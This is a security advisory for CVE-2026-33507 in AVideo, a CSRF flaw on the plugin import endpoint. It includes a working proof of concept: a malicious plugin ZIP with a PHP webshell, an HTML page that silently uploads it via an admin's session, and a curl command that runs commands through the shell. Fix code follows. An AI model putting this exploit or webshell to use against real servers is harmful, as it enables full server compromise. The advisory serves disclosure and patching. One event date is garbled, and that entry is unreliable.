CVE-2026-33507: AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload

Published Mar 20, 2026
·
Updated

Summary

The objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookiesamesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.

Details

The root cause has two components working together:

1. SameSite=None on session cookies (objects/includeconfig.php:134-137):

php if ($isHTTPS) { iniset('session.cookiesamesite', 'None'); iniset('session.cookiesecure', '1'); }

This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.

2. No CSRF protection on pluginImport.json.php (objects/pluginImport.json.php:18):

php if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(jsonencode($obj)); }

The endpoint only checks User::isAdmin() via the session. There is: - No CSRF token validation (the verifyToken/globalToken mechanism used elsewhere is absent) - No allowOrigin() call (contrast with objects/videoAddNew.json.php which calls allowOrigin() at line 8) - No Referer or Origin header validation - No requirement for custom headers (e.g., X-Requested-With)

The upload form at view/managerPluginUpload.php also contains no CSRF token — it's a plain <form enctype="multipart/form-data"> with a file input.

Why the attack bypasses CORS preflight: multipart/form-data is a CORS-safelisted Content-Type, so a fetch() call with mode: 'no-cors' and credentials: 'include' sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible plugin/ directory — is the objective.

Why secondary PHP files are not validated: The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (.phtml, .phar, .sh, etc.), and verifies the main plugin file extends PluginAbstract. However, .php is intentionally not in the dangerousExtensions list (it's a plugin system), and only the main file (PluginName/PluginName.php) is checked for the PluginAbstract pattern. Any additional .php files in the ZIP are extracted without content inspection.

PoC

Step 1: Create the malicious plugin ZIP

bash mkdir -p EvilPlugin Main file — passes PluginAbstract validation cat > EvilPlugin/EvilPlugin.php << 'PLUG' <?php class EvilPlugin extends PluginAbstract { public function getTags() { return array(); } public function getDescription() { return "test"; } public function getName() { return "EvilPlugin"; } public function getUUID() { return "evil-0000-0000-0000"; } public function getPluginVersion() { return "1.0"; } public function getEmptyDataObject() { return new stdClass(); } } PLUG

Secondary file — webshell, NOT checked for PluginAbstract cat > EvilPlugin/cmd.php << 'SHELL' <?php if(isset($GET['c'])) system($GET['c']); ?> SHELL

zip -r evil-plugin.zip EvilPlugin/

Step 2: Host the CSRF exploit page

html <!DOCTYPE html> <html> <body> <h1>Loading...</h1> <script> // Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php // In practice, the attacker would embed the base64-encoded ZIP bytes here async function exploit() { const zipResp = await fetch('evil-plugin.zip'); const zipBlob = await zipResp.blob();

const formData = new FormData(); formData.append('input-b1', zipBlob, 'evil-plugin.zip');

fetch('https://TARGETAVIDEOINSTANCE/objects/pluginImport.json.php', { method: 'POST', body: formData, mode: 'no-cors', credentials: 'include' }); } exploit(); </script> </body> </html>

Step 3: Admin visits attacker's page while logged into AVideo over HTTPS

The browser sends the multipart/form-data POST with the admin's PHPSESSID cookie (allowed by SameSite=None). The server processes the upload, validates the ZIP structure, and extracts it to plugin/EvilPlugin/.

Step 4: Attacker accesses the webshell

bash curl 'https://TARGETAVIDEOINSTANCE/plugin/EvilPlugin/cmd.php?c=id' uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

- Remote Code Execution: An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session. - Full server compromise: The webshell runs as the web server user (www-data), enabling data exfiltration, lateral movement, database access, and further privilege escalation. - No attacker account needed: The attacker requires zero privileges on the target system — only that an admin visits a page they control. - Stealth: The attack is invisible to the admin (fire-and-forget side-effect request). The no-cors mode means no visible error or redirect.

Recommended Fix

1. Add CSRF token validation to objects/pluginImport.json.php (primary fix):

php // After the isAdmin() check at line 18, add: if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(jsonencode($obj)); }

// Add CSRF protection allowOrigin();

// Also validate a CSRF token if (empty($POST['globalToken']) || !verifyToken($POST['globalToken'])) { $obj->msg = "Invalid CSRF token"; die(jsonencode($obj)); }

2. Update the upload form in view/managerPluginUpload.php to include the token:

html <form enctype="multipart/form-data"> <input type="hidden" name="globalToken" value="<?php echo getToken(); ?>"> <input id="input-b1" name="input-b1" type="file" class=""> </form>

And pass it in the JavaScript upload config:

javascript $('#input-b1').fileinput({ uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php', uploadExtraData: { globalToken: $('input[name=globalToken]').val() }, // ... });

3. Consider changing SameSite=None to SameSite=Lax unless cross-origin cookie inclusion is specifically required for application functionality. Lax prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.

Other sources

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookiesamesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server. Commit d1bc1695edd9ad4468a48cea0df6cd943a2635f3 contains a patch.

MITRE

Affected Software

2 affected components
composer/wwbn/avideo<=26.0
WWBN AVideo<=26.0

Event History

Mar 20, 2026
Advisory Published
via GitHub·09:47 PM
Data Sourced
via GitHub·09:47 PM
DescriptionSeverityWeaknessAffected Software
Mar 23, 2026
CVE Published
via MITRE·04:32 PM
Data Sourced
via MITRE·04:32 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Dec 26, 58199
Event
via FIRST·02:40 PM

Frequently Asked Questions

1

What is the severity of CVE-2026-33507?

CVE-2026-33507 is considered a high severity vulnerability due to its potential for exploitation through CSRF and file uploads of arbitrary PHP code.

2

How do I fix CVE-2026-33507?

To mitigate CVE-2026-33507, implement CSRF protection for the plugin upload endpoint and consider adjusting the session cookie settings.

3

What vulnerability type is CVE-2026-33507?

CVE-2026-33507 is classified as a Cross-Site Request Forgery (CSRF) vulnerability combined with an insecure file upload issue.

4

Who is affected by CVE-2026-33507?

CVE-2026-33507 affects users of the AVideo platform versions up to and including 26.0 who have administrative access.

5

What are the potential impacts of CVE-2026-33507?

Exploitation of CVE-2026-33507 could allow an attacker to execute arbitrary PHP code on the server, leading to full system compromise.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203